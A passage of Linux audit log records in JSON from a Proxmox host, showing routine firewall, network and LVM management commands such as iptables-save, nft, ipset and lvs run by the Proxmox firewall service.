{"@timestamp":1781966135507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.507:68577): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964755249,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.249:62445): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966135503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.503:68576): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964755245,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.245:62444): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966135496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.496:68575): proctitle=\"ip6tables-save\""} {"@timestamp":1781964755241,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.241:62443): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966135488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.488:68574): proctitle=\"iptables-save\""} {"@timestamp":1781964755238,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.238:62442): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966135481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.481:68573): proctitle=69707365740073617665"} {"@timestamp":1781964755236,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.236:62441): argc=1 a0=\"date\""} {"@timestamp":1781966135473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.473:68572): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964755233,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.233:62439): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966135463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966135.463:68571): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964755227,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.227:62438): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966134321,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966134.321:68570): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964755220,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.220:62437): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966134277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966134.277:68569): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964755216,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.216:62436): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966130511,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966130.511:68568): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964755210,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.210:62435): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966130511,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966130.511:68567): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964755203,"@rawstring":"node=pve type=EXECVE msg=audit(1781964755.203:62434): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966130511,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966130.511:68566): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964754533,"@rawstring":"node=pve type=EXECVE msg=audit(1781964754.533:62433): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966130504,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966130.504:68565): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964754490,"@rawstring":"node=pve type=EXECVE msg=audit(1781964754.490:62432): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966130504,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966130.504:68564): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964750517,"@rawstring":"node=pve type=EXECVE msg=audit(1781964750.517:62431): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966130504,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966130.504:68563): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964750509,"@rawstring":"node=pve type=EXECVE msg=audit(1781964750.509:62428): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.494:68562): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964745501,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.501:62425): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.494:68561): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964745493,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.493:62422): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.494:68560): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964745192,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.192:62419): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966125486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.486:68559): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964745189,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.189:62418): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966125486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.486:68558): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964745188,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.188:62417): argc=1 a0=\"date\""} {"@timestamp":1781966125486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.486:68557): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964745184,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.184:62415): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966125449,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.449:68556): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964745179,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.179:62414): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966125445,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.445:68555): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964745171,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.171:62413): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966125444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.444:68554): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964745166,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.166:62412): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966125444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.444:68553): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964745160,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.160:62411): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966125440,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.440:68552): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964745154,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.154:62409): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966125433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.433:68551): proctitle=\"ip6tables-save\""} {"@timestamp":1781964745149,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.149:62408): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966125424,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.424:68550): proctitle=\"iptables-save\""} {"@timestamp":1781964745144,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.144:62407): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966125414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.414:68549): proctitle=\"ip6tables-save\""} {"@timestamp":1781964745140,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.140:62406): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966125404,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.404:68548): proctitle=\"iptables-save\""} {"@timestamp":1781964745135,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.135:62405): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966125400,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.400:68547): proctitle=\"ebtables-restore\""} {"@timestamp":1781964745130,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.130:62404): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966125394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.394:68546): proctitle=\"ebtables-restore\""} {"@timestamp":1781964745124,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.124:62403): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966125385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.385:68545): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964745117,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.117:62402): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966125378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.378:68544): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964745114,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.114:62401): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966125371,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.371:68543): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964745111,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.111:62400): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966125365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.365:68542): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964745110,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.110:62399): argc=1 a0=\"date\""} {"@timestamp":1781966125357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.357:68541): proctitle=697073657400726573746F7265"} {"@timestamp":1781964745107,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.107:62397): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966125348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.348:68540): proctitle=\"ip6tables-save\""} {"@timestamp":1781964745101,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.101:62396): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966125340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.340:68539): proctitle=\"iptables-save\""} {"@timestamp":1781964745095,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.095:62395): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966125334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.334:68538): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964745090,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.090:62394): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966125331,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.331:68537): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964745085,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.085:62393): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966125329,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.329:68536): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964745078,"@rawstring":"node=pve type=EXECVE msg=audit(1781964745.078:62392): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966125329,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.329:68535): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964744427,"@rawstring":"node=pve type=EXECVE msg=audit(1781964744.427:62391): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966125324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.324:68534): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964744387,"@rawstring":"node=pve type=EXECVE msg=audit(1781964744.387:62390): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966125315,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.315:68533): proctitle=\"ip6tables-save\""} {"@timestamp":1781964740483,"@rawstring":"node=pve type=EXECVE msg=audit(1781964740.483:62389): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.306:68532): proctitle=\"iptables-save\""} {"@timestamp":1781964740473,"@rawstring":"node=pve type=EXECVE msg=audit(1781964740.473:62386): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.300:68531): proctitle=69707365740073617665"} {"@timestamp":1781964736068,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.068:62383): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966125291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.291:68530): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964736066,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.066:62382): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966125279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966125.279:68529): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964736065,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.065:62381): argc=1 a0=\"date\""} {"@timestamp":1781966124141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966124.141:68528): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964736061,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.061:62379): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966124105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966124.105:68527): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964736055,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.055:62378): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966120477,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966120.477:68526): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964736049,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.049:62377): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966120477,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966120.477:68525): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964736042,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.042:62376): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966120477,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966120.477:68524): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964736036,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.036:62375): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966120468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966120.468:68523): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964736031,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.031:62373): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966120468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966120.468:68522): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964736026,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.026:62372): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966120468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966120.468:68521): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964736021,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.021:62371): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966115461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.461:68520): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964736016,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.016:62370): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966115461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.461:68519): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964736012,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.012:62369): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966115461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.461:68518): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964736007,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.007:62368): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966115445,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.445:68517): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964736000,"@rawstring":"node=pve type=EXECVE msg=audit(1781964736.000:62367): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966115445,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.445:68516): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964735994,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.994:62366): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966115444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.444:68515): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964735991,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.991:62365): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966115261,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.261:68514): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964735988,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.988:62364): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966115258,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.258:68513): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964735987,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.987:62363): argc=1 a0=\"date\""} {"@timestamp":1781966115257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.257:68512): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964735983,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.983:62361): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966115257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.257:68511): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964735977,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.977:62360): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966115252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.252:68510): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964735970,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.970:62359): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966115245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.245:68509): proctitle=\"ip6tables-save\""} {"@timestamp":1781964735966,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.966:62358): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966115237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.237:68508): proctitle=\"iptables-save\""} {"@timestamp":1781964735960,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.960:62357): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966115229,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.229:68507): proctitle=\"ip6tables-save\""} {"@timestamp":1781964735954,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.954:62356): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966115221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.221:68506): proctitle=\"iptables-save\""} {"@timestamp":1781964735461,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.461:62355): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966115217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.217:68505): proctitle=\"ebtables-restore\""} {"@timestamp":1781964735452,"@rawstring":"node=pve type=EXECVE msg=audit(1781964735.452:62352): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966115215,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.215:68504): proctitle=\"ebtables-restore\""} {"@timestamp":1781964734305,"@rawstring":"node=pve type=EXECVE msg=audit(1781964734.305:62349): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966115208,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.208:68503): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964734273,"@rawstring":"node=pve type=EXECVE msg=audit(1781964734.273:62348): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966115202,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.202:68502): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964730446,"@rawstring":"node=pve type=EXECVE msg=audit(1781964730.446:62347): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966115196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.196:68501): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964730439,"@rawstring":"node=pve type=EXECVE msg=audit(1781964730.439:62344): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966115190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.190:68500): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964725943,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.943:62341): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966115184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.184:68499): proctitle=697073657400726573746F7265"} {"@timestamp":1781964725940,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.940:62340): argc=3 a0=\"sh\" a1=\"-c\" 